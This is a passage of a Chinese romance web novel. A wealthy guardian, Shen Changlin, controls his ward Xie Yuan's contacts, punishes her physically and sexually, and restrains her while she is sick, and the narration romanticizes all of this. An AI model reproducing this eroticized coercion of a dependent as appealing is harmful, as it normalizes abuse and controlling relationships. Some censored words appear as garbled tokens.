她带着怯意看向沈长凛,不住摇头,细声说道:“不方便,叔叔……”
但他却没理她,轻笑一声:“当然方便,我待会儿就带沅沅下来。”
李秘书微微松了一口气,笑着应道:“好,那麻烦您了,沈总。”
谢沅缩在床角,满眼都还是泪水,颤声唤道:“我不想下去,叔叔,我还、我还……。”
她脸皮很薄,胆子又小,在家里时都怕被人发觉,每次不下楼用餐,都担心会有人觉得异样,更别说是在外公的家里。
沈长凛平常很惯着谢沅。
但今天他只是轻轻掰开她的腿根,声音里也没什么情绪:“可是已经答应了,你觉得要怎么办?”-
沈长凛管教谢沅向来严格,对她身边人的限定也很严苛。
霍阳很早之前就知道,沈长凛是不太喜欢谢沅跟他打交道的,如果不是家里实在没什么姑娘,就连温思瑜,沈长凛也不想让谢沅多见。
沈长凛在公务上从不会对人有偏见。
对手下的人,一旦决定用了,也是全心全意地信重,从不会猜忌多疑。
但对谢沅身边的人,却不是这样。
即便是有风言,沈长凛也不会容忍,更遑论是霍阳这样全燕城都知道的风流纨绔。
霍阳想过沈长凛会拒绝,但他做的最坏打算里,也没有被当众直接拒绝这一项。
当时谢沅的脸也白了下来,她的水眸里尽是无措和愣怔,隐约还带着点迷茫。
如果她觉得松了口气,霍阳或许还会更好受些。
但谢沅那时候的神情不是那样的。
到底是认识多年,又常常一起出游,她对他应当是有些感情的。
霍阳应当高兴,甚至得意,但那一刻心里涌起的只有懊丧,所以今天下午他才选择来再见谢沅一面。
她似乎也不好受,李秘书说她回去后就一直在楼上待着。
电话打了两次,第三次才接通。
李秘书松了一口气,看向霍阳说道:“沅沅刚刚睡醒,不过沈总也在,你……注意些。”
过了十分钟后,谢沅才下楼,她跟在沈长凛的身边,乌黑的长发如绸缎般散在肩后,身上是蕾丝边沿的白裙,滚边的系带是黑色的,隐约带点哥特风。
但穿在谢沅身上,只会令人感到娇柔。
她的脸庞很白,眼眸却是红的,就好像刚刚哭过。
谢沅下楼的步子很慢,沈长凛虚扶着她的腰身,她才敢继续往下走。
走下楼后,他带着谢沅坐在沙发上,轻声解释道:“沅沅刚刚跌了一下,家里有药膏吗?”
两人循着沈长凛的目光看去,才发觉她的双膝肿了起来,红红的,看起来有些骇人。
“不会是碰到桌角了吧?”李秘书倒吸了一口冷气,“怎么磕得这么严重?沈总,要我去请医生过来吗?”
“不用,”沈长凛摇了摇头,“沅沅在家也常磕碰着。”
李秘书紧忙叫人去拿药,沈长凛说不用请医生,家庭医生还是立刻就过来了。
女医生动作轻柔,很小心地给谢沅上药,她侧过脸庞,低低地吸着气,眼眸很快又湿了,药膏冰冰凉凉,慢慢在肿痛处化开,但谢沅却没能好受太多。
她恳求地看向沈长凛,对上他漠然的视线后,又不敢说话了。
处理好伤处后,女医生离开。
沈长凛看了眼腕表,望向霍阳,漫不经心地说道:“给你十五分钟,有话想说的话,尽快说完。”
霍阳站起身,感激地说道:“好,多谢您,世叔。”
沈长凛就是这样的。
明明是他冷酷地拒绝了霍阳,总还能用很简单的方式,高姿态地让霍阳非但没有任何怨言,反倒心存感激。
谢沅做不到他那样平静,也做不到他那样从容。
她很想竭力地将事情说清楚,但是眼下就连跟霍阳对话的勇气都提不起来。
谢沅并拢双膝,她坐在沙发上,抬起手想去拿杯盏,可手臂刚刚抬起,被牵动的感觉便又苏醒了。
她的眼尾湿红,忍不住地想要掉眼泪,快被疯狂的触感给逼疯。
谢沅的指节深陷在掌心,快要掐出血时,才将那要溢出来的哭腔给压住。
霍阳拨弄了一下黑色的短发,神情带着些纯良,他先是自嘲地低笑了一声,然后才看向谢沅:“抱歉,沅沅妹妹,这回是我太心急了。”
“不过你别担心,肯定还有别的办法的。”他继续说道,“我也会努力的。”
往日轻佻浮薄的人,眼里尽是郑重。
霍阳耐心地跟谢沅将话说清楚,然后轻声问道:“……世叔没生你的气吧?”
她的脸庞泛红,眼眸也是红的,本就泫然若泣的神色,像是更加难过,泪水悬在眼眶里,即刻就要掉下来。
霍阳抬起手臂,下意识地想帮谢沅擦去眼泪。
但她却别过了脸,身躯也绷得更紧。
“叔叔没生气,霍阳哥。”谢沅带着哭腔,颤声说道,“你……你不用这样的。”
她的肩头也在微颤,承受像是已经快到达顶峰。
霍阳想起她害怕触碰的事,手一点点地落了下来。
他抿了抿唇,低声说道:“没关系,沅沅,哥哥愿意的。”
轻佻浪荡的人忽然严肃庄重,是很容易令人心动的,谢沅的脑海中却只有一团浆糊,连丝毫思考的能力都快没有了。
她一边无力地摇头,一边忍不住地落泪。
霍阳很想将她抱在怀里,但没多时,十五分钟就到了,他低下头,最后向着谢沅说道:“我们还有联系方式,对吗?”
他压低声说道:“有事情的话,直接跟我发消息就行。”
因为已经是预料中的事,霍阳并不怕沈长凛拒绝,他怕的是沈长凛最近就准备将谢沅嫁给别人。
谢沅脸色潮红,她眼眸失神,低低地应道:“嗯。”
她连自己答应了什么都不知道,所有的精力都放在了另一件事上。
霍阳离开后,沈长凛走了进来,他轻轻坐在谢沅的身边,她控制不住地环住他的脖颈,哭着说道:“能不能拿出来,叔叔?”
沈长凛执起茶几上的杯盏,喂谢沅喝了少许。
他的衣冠楚楚,西装外衣上丝毫褶皱都没有,唯有领带不知所踪。
沈长凛声音柔和,却尽是残忍的意味:“我说这个也是十五分钟了吗,沅沅?”
40-50
第41章
秦老先生谈完事后,已经六点半了。
沈长凛比他结束得还要早,在瀛洲的事忙完后,干脆没有离开,准备用完晚餐后带谢沅一起回燕城。
刚刚霍阳来过,两个人不知道是吵架了还是怎么,谢沅的眼眸红肿,像是哭过一样。
她今天倒霉,待在房间里时也不小心跌伤了。
膝上的肿处看起来颇为骇人。
家庭医生来得很快,已经帮忙处理过了。
上过药后,柔膝隐匿在雪白的裙摆下,只微微显露少许红痕。
沈长凛脾气算不上好,但对谢沅一向疼宠。
她偶尔做了错事,也不太舍得管教,帮人处理后续,更是轻车熟路。
不过这两年来,沈长凛的控制欲要比之前强上许多,管教谢沅也更严格,跟寻常的父母全然是逆着来的,他对她身边人的管控,更是越发严苛。
孩子年岁已经大了,就是有些自己的想法也无妨。
尤其是秦承月的事过后,秦老先生更这样认为。
长辈们以为两小无猜、青梅竹马地长大,孩子们会更加亲密,将来做夫妻也更加和睦,可不合适就是不合适。
谢沅和秦承月认识多年,时常一起出去。
可两人就是对彼此没生出丝缕的情丝。
反倒是和早就明知绝无可能的人,产生了缘分,彼此之间,有了相互的纠缠。
还是孩子的幸福要更重要一点,只要不是太过分,想同什么样的人在一起,其实都是无妨的。
秦老先生本就不在乎门第,现在做了曾祖辈分的人,更是不在乎这些。
但沈长凛显然不是这样想的。
如果由他来给谢沅选丈夫,那挑选出来的人一定是在各方面都最优秀杰出的人,出身,身份,相貌,能力,不能有一样是有疏漏的。
霍阳在很多地方,都不会符合沈长凛的要求。
甚至谢沅跟霍阳亲近,或许都是沈长凛不能接受的。
秦老先生过去的时候,沈长凛的暗怒仍然未消,谢沅大抵是刚被他斥责过,眼眸红着,头也低低地垂着,坐都不敢跟他坐太近。
但只是这么一个席位的距离,他也不能忍。
沈长凛声音很轻,却明显带着冷意:“过来,沅沅。”
谢沅怕他,但是一点也不敢拒绝他,抿了抿唇,便提着裙摆站起身,很乖地在他身边坐下。
人在身边坐下后,沈长凛的容色才算是稍霁。
在别处他或许还会顾忌谢沅的脸面,但在家里,他才不是那位温柔的沈总,沈三公子矜傲贵重,是再阴晴不定又冷情严苛的人。
别说旁人,在外祖父秦老先生的跟前,沈长凛也依然是那样。
他骨子里带着点偏执,决定好的事,任何人都不能忤逆,谁也不能跟他明摆着逆着来。
见到秦老先生过来,沈长凛的容色也没转变,他心情不好,没人敢去招惹,李秘书本想给谢沅解围,最终也没敢开腔。
因是要送谢沅走,晚餐很丰盛,而且多是她喜欢的。
她性子缄默,但在瀛洲这边过得很放松,每天又做很多事,用餐时总会讲发生的事。
现在好不容易活泼开朗一些的小姑娘又安静下来,垂着眸乖顺地执餐叉,一句话也不敢多言,更是不敢看向沈长凛一眼。
说是疼孩子呢,动怒的时候,也是真的狠心。
秦老先生缓声说道:“沅沅,你的腿好些了吗?”
他有意缓和气氛,但谢沅还没开口,沈长凛便轻声说道:“已经好多了,就是磕碰了一下,等回去要是还不好,我让专职的医生再过来一趟。”
他掀起眼皮,说道:“您就不用多操心了。”
沈长凛的语气轻飘飘的,暗含的意味却很清晰明确。
谢沅执着餐叉的手抖了一下,差些要将餐叉落到地上,她紧抿着樱唇,眼眸也垂得更低-
用完餐后,沈长凛就准备带谢沅离开。
她的小行李箱东西很少,都是裙子,早先便已经收拾好了。
沈长凛和秦老先生还有事要谈,谢沅坐在加长的轿车里,思绪烦乱,快杂糅成一团麻。
她紧握着手机,给沈宴白回消息。
【我们已经准备出发了,哥哥,大概十一点左右到家。】
车里有小垫子,谢沅的臀肉肿得很疼,方才用晚餐时就快被折磨死,如果不是姿势不太雅观,她都想要趴着了。
但膝盖也跪肿了,趴着同样难受。
她很久没有挨过这么重的罚,哭了好久泪水才止住,唇瓣都要咬破。
好在最近没什么事情,等回到家里后,她可以好好休息一段。
谢沅正失神地想着,沈宴白的电话忽然就打过来了,她今天受到的惊吓太多,看到来电时差些把手机弄掉。
已经有半月没见到哥哥了。
临走时,他跟她发了消息,拨了电话,她问他,他也不说有什么事。
谢沅接起电话,声音很轻:“哥哥?”
她的声音有一点哑,像是哭得太多,令人想起被冷水湃过的沙甜瓜果。
仅仅是那么一句简单的问候,沈宴白的嗓音也发起哑来:“嗯,是我。”
“你有什么事吗,哥哥?”谢沅的声音很细,“叔叔跟外公还在谈事情,等他们讲完,我们马上就出发了。”
她撑着手臂,找了个舒服点的姿势。
但因为是侧倚的姿态,本就肿起的嫩臀不可避免地又翘起少许,被白裙勾勒出圆润的弧度,雪白腿根的深红掐痕也隐约可见。
细腰柔臀,在夜色里更显旖旎。
沈长凛回来的时候,瞧见的就是这样一幅景象。
谢沅屈着手臂,用一种怪异的姿势趴着,声音微哑地讲着电话:“哥哥不用等我们了,我们在外公这边用过晚餐了。”
她的思绪混沌紊乱,讲个电话也要思索半晌。
但谢沅敏感地注意到了身后的视线,侧眸对上沈长凛的目光后,她下意识地就要起身坐好,他修长的指节便已然扣住了她的腰身。
她颤了一下,连声就要跟沈宴白挂断电话:“哥哥,我这边有点事。”
谢沅话音未落,便被沈长凛抱在了膝上,她的臀肉还肿着,滚烫的柔软仅仅是碰到男人冰冷的西裤,就控制不住地哆嗦。
实在是太疼了。
她的眼眸湿润,指节紧攥在一起,忍不住地细微挣扎。
钳制住腰身的那双手修长苍白,却一丝挣动的可能都没有给谢沅留。
之前是沈长凛自己说过,她可以自己挂断电话,但现在他却覆上她的手,将手机拿走,然后漫不经心地开了免提。
沈宴白顿了顿,低声问道:“怎么了,沅沅?”
谢沅坐在沈长凛的腿上,疼得眼泪不住往下掉,她哀哀地看向沈长凛,水眸里湿润得像一汪清泉。
他的神情冷漠,没有任何要将手机递给她的意思。
沈宴白以为信号不好,又问了一遍:“沅沅,发生什么事了吗?”
谢沅的眼尾湿红,她强撑着,颤声应道:“是叔叔回来了,哥哥,没有事的话,我们先挂了,好不好?”
她的声音很柔很软,隐约带着哭腔,嫩得像是能掐出水。
平心而论,谢沅的嗓音很好听。
尤其是在求人的时候,就是再冷血的人也会生出怜惜,但是沈长凛不会。
“好,好。”沈宴白低声说道,“一路顺风,沅沅。”
电话挂断后,谢沅脱力般地倒在沈长凛的怀里,本就哭得一塌糊涂的脸庞更加潮红,她的细腰也软下,整个人都被他桎梏在了掌心。
他声音很轻:“刚刚跟他在说什么?”
加长的轿车隐蔽性很好,挡板落下后,丝毫的声响都传不过去。
但一想到旅途还要两个多小时,谢沅就怎么都提不起心念回话,她无力地分开并拢的膝,被沈长凛换了个姿势抱起来。
指节按在玻璃上,握不住,抓不牢,不断地往下滑落-
到家的时间太迟,谢沅已经睡着了,这一回又是沈长凛抱她下车的。
她身上披着的是他的外套,裹得很严,只露出半截纤细的小腿,白得近乎晃眼。
谢沅的眼眸紧闭着,脸庞上隐约带着泪痕,唇瓣也有些肿。
沈长凛的心情不好,他淡声和候着的沈宴白打了招呼,便没再多言。
两人似乎是吵架了。
方才谢沅挂电话的时候,腔调就不太对。沈宴白抿了抿唇,到底没有敢在这时候去问沈长凛什么。
想到她刚才带着哭腔的声音,他心情莫名地有些躁动。
沈长凛将谢沅抱上楼,沈宴白站在一楼的露台边,跟霍阳通了电话:“回来了吗?”
他们两人是同一天去的瀛洲,应当也是同一天回来。
两家人关系不错,如果不是沈长凛刚好去瀛洲,接到谢沅的话,她很有可能是跟霍阳一起回来的,以前偶尔也会如此。
霍阳为人浪荡,声音里也带着轻佻。
今天却难得有些低落
“嗯,已经回来了。”霍阳很轻声地说道,“沈少找我有什么事吗?”
沈宴白心思细腻,善于觉察细节。
怎么回事?去了一趟瀛洲,今天一个个的心情都不好。
他眉心微皱,状似寻常,拖着腔调说道:“喝酒吗?我明天休息。”
霍阳沉默片刻,轻轻地笑了一声,语气又恢复惯常的散漫:“本来是不想喝的,可是沈少亲自做邀,哪里好拒绝?”
他惯会说漂亮话的,逗弄姑娘更是熟稔得很。
沈宴白也笑了一声,低声说道:“行。”
圈子里的人爱玩,最近沈宴白忙于家业,霍阳又去了瀛洲,半个月都没什么热闹的事。
一听闻沈大少爷做局,消息刚发出去没多久,人便全都过来了。
pub里放着激昂的摇滚乐,舞池里群魔乱舞,吵嚷的声响将要穿透耳膜,沈宴白穿了一身很寻常的短袖连帽卫衣,走过人群时还是被人打了好几次招呼。
霍阳一身黑衣,头发也是乌黑色的,隐匿在暗处,倒是没惹人注意。
他一直都是话最多,也最善于调节气氛的人,今天言语却少得出奇,低垂着眉眼,落座后也只是安静地斟酒。
沈宴白眉头越皱越深。
“到底怎么了,霍少?”他状似不经意地问道,“失恋了?”
沈宴白扯唇,看向霍阳,霍阳那双眼瞧着风流多情,实则比他还要更凉薄些,身边也算是来来往往,但从未见霍阳对谁动心过。
就是公开的女友,好像也没有过几个。
这事谁都知道,霍少万花丛中过,片叶不沾身,但此刻他的神情却愣怔了一下,握住酒杯的手也顿了顿。
“没呢,”他缓过神来,笑了一下,“就是追人追得有点难。”
霍阳乌黑色的短发在壁灯下闪着光。
听到他这话,坐在边上滑手机的小庭都坐直了身子,什么情况?这得是哪来的仙子下凡,竟然能让他们霍阳哥亲自去追?
沈宴白的眼也睁大少许。
“你追谁呢?”他放下酒杯,看向霍阳,“之前怎么一点风声都没有?”
许是将话突然说开,霍阳眉眼间的郁气少了些,他向后倚靠,轻声说道:“不好追得很,家教很严,人家里也看不上我。”
霍阳的家世在整个圈子里也是数一数二的。
他祖父霍老先生声名显赫,他父亲也是如今声势极大极好的人。
霍阳别说是做个风流浪荡的纨绔,就是做个欺男霸女的恶徒,也没谁能怎样得了他。
得是什么样的人家,才会看不上眼霍阳?
沈宴白心底却是莫名地松了口气,之前霍阳故意瞒着他谢沅的事,这几天在社交平台发照片,偶尔也会有谢沅的衣角出境。
他还以为他们是怎么了呢。
“你说说,我们给你出主意。”沈宴白转了转骰子,唇角微扬,“集思广益一下。”
霍阳抬起眼睫,笑了笑:“真的啊?那可太谢谢沈少了。”-
谢沅被折腾得太狠,夜里发了低烧,她迷迷糊糊醒过来喝水时,忽然感觉眼前有些晕眩。
她摸了下额头,额前微热,但不到烫的程度。
谢沅这两天都很累,她也不想在大晚上的继续折腾,小心地放下杯子,然后又缩回薄被里。
其实床头柜里有退烧药,但她实在是懒得动了,裹紧被子后,便睡了过去。
沈长凛明早还有事,加上沈宴白在家里,看谢沅睡去后,他就离开了。
好在他早就离开。
如果沈长凛在,一定能发现她发热了,然后立刻让家庭医生过来,再将她折腾一顿。
谢沅身上还疼着,全然不想见到他,也不想见医生,如果叫家庭医生在打针时,看见她被扇打红肿的臀肉,她还不如直接死了算了。
她心情烦乱。
但低热还烧着,脑中也昏昏沉沉,没多时又睡了过去。
发低烧总让人犯恶心,可在心烦意乱时,又是催眠的良药。
谢沅睡前就把闹钟关了,也跟阿姨讲过明早不吃饭,一边烧着一边继续睡,倒是睡了个好觉。
沈宴白回家的时候也已经是半夜。
他从四点开始睡,一觉睡到十二点,用午餐时才发觉谢沅一直没下楼。
沈宴白皱了皱眉,给谢沅拨了电话,无人接听,他又给她卧室的固话拨了电话,还是无人接听。
昨天跟她打电话情绪就不太好,有点蔫。
不会是生病了吧?
这个想法冒出来后,沈宴白没做他想,立刻就上楼,谢沅的卧室在廊道的尽头,他轻轻叩响房门,唤道:“沅沅,睡醒了吗?”
还是没有声音。
沈宴白将房门叩得更重,房里依然没有应答。
他的心弦忽然紧绷,立刻给管家带了电话,让人拿钥匙上来。
强行破门后,映入眼帘的是一片青绿,谢沅的房间很大,落地窗的对面是山,青翠欲滴的树木高耸,枝繁叶茂,隐约有遮天蔽日之势。
她躺在柔软的大床上,手脚从薄被中露出。
一身莹白色的睡裙被穿得凌乱,肩头的凝脂雪肤也全都倾泻出来,柔腻得触目惊心。
但看到谢沅潮红的脸庞后,沈宴白什么心思都没有了。
他快步上前,抚上她的额头唤道:“谢沅!”
谢沅已经烧到昏沉了,她的额前滚烫,连手指都是灼热的,沈宴白拍了拍谢沅的脸庞,强将她从迷乱中唤醒:“你发烧了,沅沅!”
她迷茫地睁开眼眸。
眼皮很沉重,那双漂亮的水眸半阖着,内里像是有星子在摇晃。
谢沅声音很弱,低到离远点就听不到:“哥哥?”
沈宴白心急如焚,直接就将她给抱起来了:“你知不知道你发烧了!”
他掏出手机,立刻给家庭医生拨号,然后匆匆让人去拿冰袋。
谢沅坐都没力气坐,她的身子往后滑,手指将薄被拉起,又缩了进去,声音含混不清:“我没有发烧,哥哥,我就是没睡好,再睡一会儿就没事了。”
薄被如丝绸般柔滑,她躲在里面,不肯冒头。
谢沅不知道烧了多久,连意识都迷乱起来。
家庭医生匆匆过来后,她还是不肯出来,向来乖顺的姑娘,一边哭一边叫:“我不要看医生!你出去,你出去!”
沈宴白额侧的穴位突突地跳。
他强忍着脾气,低声哄谢沅:“不看医生,沅沅,我已经让他走了,就量一□□温,好不好?”
谢沅不相信他的,她将整个人都埋在薄被里,连手指都不肯伸出来。
这种消极的抵抗很无力,也很虚张声势。
但意识到沈宴白不像沈长凛那样冷酷后,谢沅像是张牙舞爪的小猫一样,威势更盛了,她哑着嗓音强迫道:“你也出去,现在就出去!”
沈宴白还没有遇到过这种事,一时之间有些无措,他没办法跟沈长凛拨了电话。
听完沈宴白的话,沈长凛沉默了片刻,他轻声说道:“稍等一下,我马上到家。”
他本就在路上,没多时便到家了。
沈宴白看救星一样地看向沈长凛,低声说道:“沅沅不肯看医生,也不让我们进去,您看要怎么办?”
沈长凛风尘仆仆。
他低下眼帘,轻声说道:“抱歉,今天麻烦你了,这里有我,你先用午餐吧。”
沈长凛直接进了谢沅的卧室,他缓步走到她身边,声音放柔:“沅沅,叔叔回来了。”
沈宴白已经快走出廊道,还是听到了那声充斥哭腔的话语:“你滚!”
这世上应当没有第二个人,敢当着沈长凛的面对他说这种话。
沈宴白的胸腔里有鲜血在颤动。
但比这句话语更加禁忌出格的,更让他血液翻涌的,是稍后跟着的“沈长凛”三个字。
你滚。沈长凛。
到底是什么样的关系,才让谢沅能对着沈长凛说这种话?真的是叔侄吗?
第42章
谢沅已经烧昏头了。
她浑身上下都是滚烫的,连伶仃的脚踝都是灼热的。
谢沅哭红了脸,竭力将足腕从沈长凛的掌中抽出。
她一边挣动,一边任性地说道:“你放开我,我不要你管。”
谢沅不知道烧了多久,但瞧她那嗜睡的模样,很有可能是早就起了低烧,然后一直拖着,拖成高热的。
她的身体一直都不算好。
哪怕精心养着,还是会偶尔生病。
更不要说被那样罚、那样折腾过后了,只是一晚上的疏漏,就直接起了高热。
沈长凛眼帘低垂,轻声细语:“叔叔错了,沅沅。”
男人的指节修长精致,带着点苍白,像是仔细雕琢的玉石,但扣住谢沅脚踝时,却像是锁链般,将她紧紧地钳制在他的掌心。
挣扎不得,逃脱无门。
趁谢沅恍惚,沈长凛直接托住她臀根的软肉,将她换了个姿势抱起。
“你现在还在生病,我们先看看医生,好吗?”他声音很轻,“不然会越来越难受的。”
谢沅被迫坐在沈长凛的怀里,上过药后,臀肉没那般疼了,但还是有酥麻般的触感,只是被碰到,就跟过电似的。
莹白色的睡裙被睡乱了,领口的瓷白雪肤也倾泻出来。
“我不要,我不要……”谢沅带着哭腔说道,“我不要看医生,也不要打针!”
她像个虚张声势的猫崽子,明明没有任何反抗的能力,却还要哭叫着露出爪子。
谢沅在沈长凛的怀里乱动。
她的手抵在他的身前,拼命地想要将他推开:“你出去,你现在就出去。”
谢沅身上实在是太烫了。
沈长凛扣着她纤细的腰肢,放柔声音哄她:“不打针,沅沅,你烧得还没那么高,吃退烧药就行,等吃完药,就睡觉好吗?”
谢沅的思绪本来就纷杂,哭过后更加紊乱。
她一看到穿着白衣的医生就害怕,瞧见尖锐的针头便忍不住战栗,连吃裹着糖衣的药也不喜欢。
想到高热是因为沈长凛的折腾才起来的,就更加气恼。
“我本来没有生病,连药都不用吃的。”谢沅带着哭腔,嗓音里尽是委屈,“都是因为你胡思乱想,都是因为你欺负我、不相信我。”
她抽咽着,断续地说道:“我一到霍家,所有人都围过来了。”
“我又不知道是不是你想把我嫁过去的,我能怎么办?”谢沅哭得要喘不过气,“都跟你解释好多遍了,你不相信我,还……还欺负我。”
她的脸庞潮红,眼眸也全是水。
他怎么可能舍得把谢沅嫁给别人?连她在沈宴白那里受了委屈,他都忍不了的。
沈长凛抱着谢沅,薄唇抿着,神情有一瞬的愣怔,他垂下眼眸,声音沙哑:“……抱歉,沅沅,是叔叔错怪你了,叔叔跟你道歉。”
她哭得厉害,身躯也一直在颤抖。
“你还在生病,沅沅。”沈长凛低声说道,“这样下去会越来越难受的,我们就先让医生叔叔看一眼,好不好?”
他搂抱着谢沅,动作很轻地抚着她的后背。
谢沅又生气又委屈,人在病中,所有的理智都被情绪支配,却还知道要转圜。
“我不难受,我就是没睡好。”她哑着嗓音说道,“让我再睡一会儿,叔叔,我睡好了就没事了。”
“可是你发烧了,沅沅。”沈长凛声音轻柔,“烧着睡觉不舒服,会做噩梦的,喝过药后,你能睡得更舒服。”
他很会哄人,尤其善于哄谢沅。
她清醒时就很好哄,更不要说是在迷乱的状态下。
但是谢沅根本不听沈长凛的。
“我不看医生,也不吃药。”她打开了他的手,“你要是逼我的话,我就永远都不原谅你了。”
谢沅像个稚幼的小孩子,口吻任性又虚张声势到了极致。
沈长凛的手背苍白,被她重重打了一下,片刻后隐约有红痕浮现。
他静默了片刻,长睫低垂,在色泽稍浅的眸中落下一层阴影,看起来像是有些难过。
理智在警告谢沅,不要被骗。
可仅仅是看到沈长凛那样的神情,心弦便被拨动了。
她的指尖滚烫,很轻地捧起沈长凛的手,哑着嗓音问道:“我打疼你了吗?”
沈长凛轻轻摇了摇头,说道:“不疼的。”
他容色沉静,抬手覆上谢沅的额头,然后慢慢下落,挡住她的眼眸。
“不是说没有睡好吗?”沈长凛轻声说道,“那就再睡一会儿吧,只不过沅沅睡着前,测一下体温,可以吗?不告诉医生,就让叔叔看看。”
沈长凛的声音太温柔了。
谢沅知道不能相信他的话,可还是低低地“嗯”了一声。
只是测温度,他应该也没办法怎样她的吧?
家里有体温木仓,但沈长凛还是让人将温度计也拿了过来,他将谢沅抱回薄被里,然后将温度计放到她的腋下。
她烧得厉害,刚刚阖上眼眸不久,便又昏沉起来。
沈长凛让医生直接进来了。
短短十分钟过去得很快,但看到体温计上的数字时,他的容色还是有些难看。
谢沅已经烧到三十九度了,这种情况下,就是想惯着她不打退烧针也不行了。
沈长凛向家庭医生示意了一下,等人将东西准备好后,才动作很轻地将谢沅抱在膝上,她人都快烧懵了,被他抱起来时也没有反应过来。
在小裤被褪下后,她才陡地清醒。
谢沅趴在沈长凛的腿上,嫩臀被迫翘起,裙摆堆在腰间,像是案板上的游鱼般挣扎着。
她身躯战栗,忍不住地哭叫道:“我不打针,叔叔!求您了,我不打针……”
沈长凛紧扣着谢沅的腰身,声音微哑:“很快就好,沅沅,一点也不疼的。”
这都是哄小孩子的话。
谢沅前段时间还挨过一针,她一个字也不信。
“你混蛋……你混蛋,沈长凛。”她哭得厉害,身躯也在不断颤抖,可冰凉的棉签划过臀肉后,她一动也不敢动了,手指紧抓着沈长凛的手腕,眼泪大颗大颗地往下掉。
谢沅见过退烧针的针管。
很粗也很长,要打好久才能打完,而那个过程中,每一毫秒都是折磨。
谢沅很小声地哭着,当针头刺入后,她哭也不敢哭,贝齿死死地咬住唇瓣,快将樱唇咬出血来。
打完退烧针后,她的身躯还是僵着的。
沈长凛用棉签帮谢沅按着针口,等着她好受些的时候,才轻轻地将她抱回到床上。
她每回打完针,都好久不敢平躺,生怕碰到伤口才疼起来。
谢沅疼得要抽搐,回到床上后她就把自己又蒙进了薄被里,她不理沈长凛,他将水捧到了她的跟前,她也依旧不说话。
但她的眼眸一直是红的,泪水停不下来地掉着。
“对不起,沅沅,叔叔不是有意骗你的,”沈长凛从后方抱住谢沅,声音微哑,“你烧得太高了,再不退烧可能会发展成肺炎的。”
她扭动着,连抱都不肯让他抱。
沈长凛静默片刻,没有再动谢沅,只是虚虚地环着她的腰身,很轻声地解释道:“昨天的事,对不起,但是沅沅……叔叔没有想把你再嫁给别人。”
他的声音有点哑:“抱歉,我不知道你是在害怕。”
有些压抑多时的言语,已经无声息地到了唇边,沈长凛薄唇微抿,他俯下身,轻轻地再度拥住谢沅。
她像是已经睡着了。
可沈长凛摸到了谢沅的眼尾,湿漉漉的一片,长睫也湿成了一缕一缕的,他的指节很快被濡湿,全都是她的泪水。
占有、掠夺、侵略、保护和怜惜的情绪并起。
恶欲之下,还有更深的欲念在作祟。
沈长凛声音微哑:“沅沅,我……”
谢沅难受得厉害,肺腑里像是有火再烧。
“我难受,叔叔。”她睁开水眸,打断了他,眼泪顺着脸庞往下流淌。
谢沅撑着手臂直起身子,她跨坐在沈长凛的腰腹上,攀住他的脖颈,哭着吻上他的唇,然后将柔膝往外打开:“叔叔,我还是好难受,好难受……”
燃烧的火快将她给点着了,可那双水眸里仍是一片懵懂。
原来她是在难受。
沈长凛的眸底充斥晦涩恶欲,跟谢沅对上视线的刹那,嘈杂的心绪却突然沉寂了下来。
沅沅还在病中,思绪并不清醒。
这个时候跟她说那些话,跟趁人之危有什么区别?
他当然可以用手段留住谢沅一辈子,但那不是他想要的,这半年来,她很多时候并不快乐。
沈长凛不想让谢沅不快乐。
道德的声音微弱,却到底是在这一次占据了上风-
谢沅很久没有烧得这么狠过。
退烧针起效很快,下午三点的时候,她的烧就已经退下去许多,但直到傍晚高热才彻底降下去。
谢沅睡得昏昏沉沉。
发烧真的太难受了,她一整天都没吃东西,只喝了点葡萄糖水,可是苏醒过来后,还是一点胃口都没有。
沈长凛陪在谢沅身边很久,她渐渐退烧后,他方才离开。
行程太密,推都推不开,不过在路上时,他一直在看屏幕,确认谢沅在安静地睡着,才能勉强放心少许。
养孩子最让人心烦的,就是孩子生着病,但手边又有必须去做的事。
六点多时,沈长凛让医生又去了一回。
谢沅的烧已经全退了,身上还是没力气,像是蔫了的花朵,容色苍白,唯有颊侧透着不自然的潮红。
她吐出口腔里含着的体温计,跟视频另一头的沈长凛继续讲话。
“已经好多了,叔叔。”谢沅低着眼眸说道,“就是还有点累。”
她的声音乖乖的,眼眸也很认真地看向他。
但比起此时谢沅没有生机的姿态,沈长凛倒希望她还能有力气来骂他、指责他。
他轻声问道:“现在有胃口了吗,沅沅?”
谢沅摇了摇头,声音细弱:“我喝过葡萄糖水了,叔叔,现在不饿。”
她话本来就少,这会儿连言辞也组织不动,打了一个小小的哈欠,明显是再度困倦起来,沈长凛想跟她多说些话,又舍不得叫她强撑着。
“再睡儿吧,沅沅。”他轻声说道,“叔叔八点多就回去了。”
后面这句话是沈长凛说给自己听的。
谢沅睡了一天,还想继续睡,根本不管他什么时候回来。
但她还是很乖地说道:“嗯,我等您。”
挂断电话后,谢沅就又睡了过去,沈宴白从廊道里走进来,他刚跟人接了通电话,还没跟谢沅说上话,她的呼吸便已然悠长起来。
他跟家庭医生谈了片刻,然后带人下楼。
谢沅很久没这么烧过,家里的饮食这几天也要注意,如果她吃得惯滨城的饮食,那就很方便。
但谢沅偏生不爱吃,还要跟营养师和厨师再商量。
沈宴白今天在家休息,只操劳了谢沅的事,却感觉比在公司一整天更累。
也不知道叔叔的精力到底有多好,才能在处理那么多事情的同时,将谢沅照顾得那么仔细。
要是让他来养谢沅这么脆弱娇贵的小孩,能安生养大就是个奇迹。
将家庭医生送走后,沈宴白又给沈长凛发了消息,汇报谢沅的情况,他大抵是在车上,消息回得很快。
【好,辛苦你了。】
叔叔的口吻向来如此,但沈宴白却蓦地想起正午时谢沅的那声哭喊,他点了支烟,站在露台边抽,回想自己有没有叫过沈长凛的大名。
然后他发现,他连父亲的大名都叫过,却从来没有唤过叔叔沈长凛。
哪怕是在沈宴白最叛逆,脾气最暴躁的年纪。
可是谢沅唤出来了。
理智在告诉沈宴白,沈长凛不可能会对谢沅有所图谋,秦家的血脉里带着凉薄,那是一种在面对外人时、真正的冷情和淡漠。
沈长凛位高权重,矜贵疏冷,少时就尊崇到无人能置喙。
谢沅是什么人?
寄人篱下的女孩子,没有任何能力,什么也不会做,连唯一能够回报沈家的都只有联姻和生孩子。
沈长凛怎么可能会看得上眼谢沅呢?
但是另一边情感在疯狂地躁动着,谢沅那声哭喊也在沈宴白的耳边来回地响动。
她的哭声那么弱,那么可怜。
连说脏话的时候,嗓音里带着的都是崩溃和无力。
不像是被娇生惯养的侄女,更像是被掠取侵夺的禁脔。
这个想法冒出头的时候,沈宴白久违地感到恐惧,他站在露台边,陡地出了一身冷汗,烟头已经烧到了指尖,快要烫出痕印,他才想起将烟掐灭。
不可能。不可能。
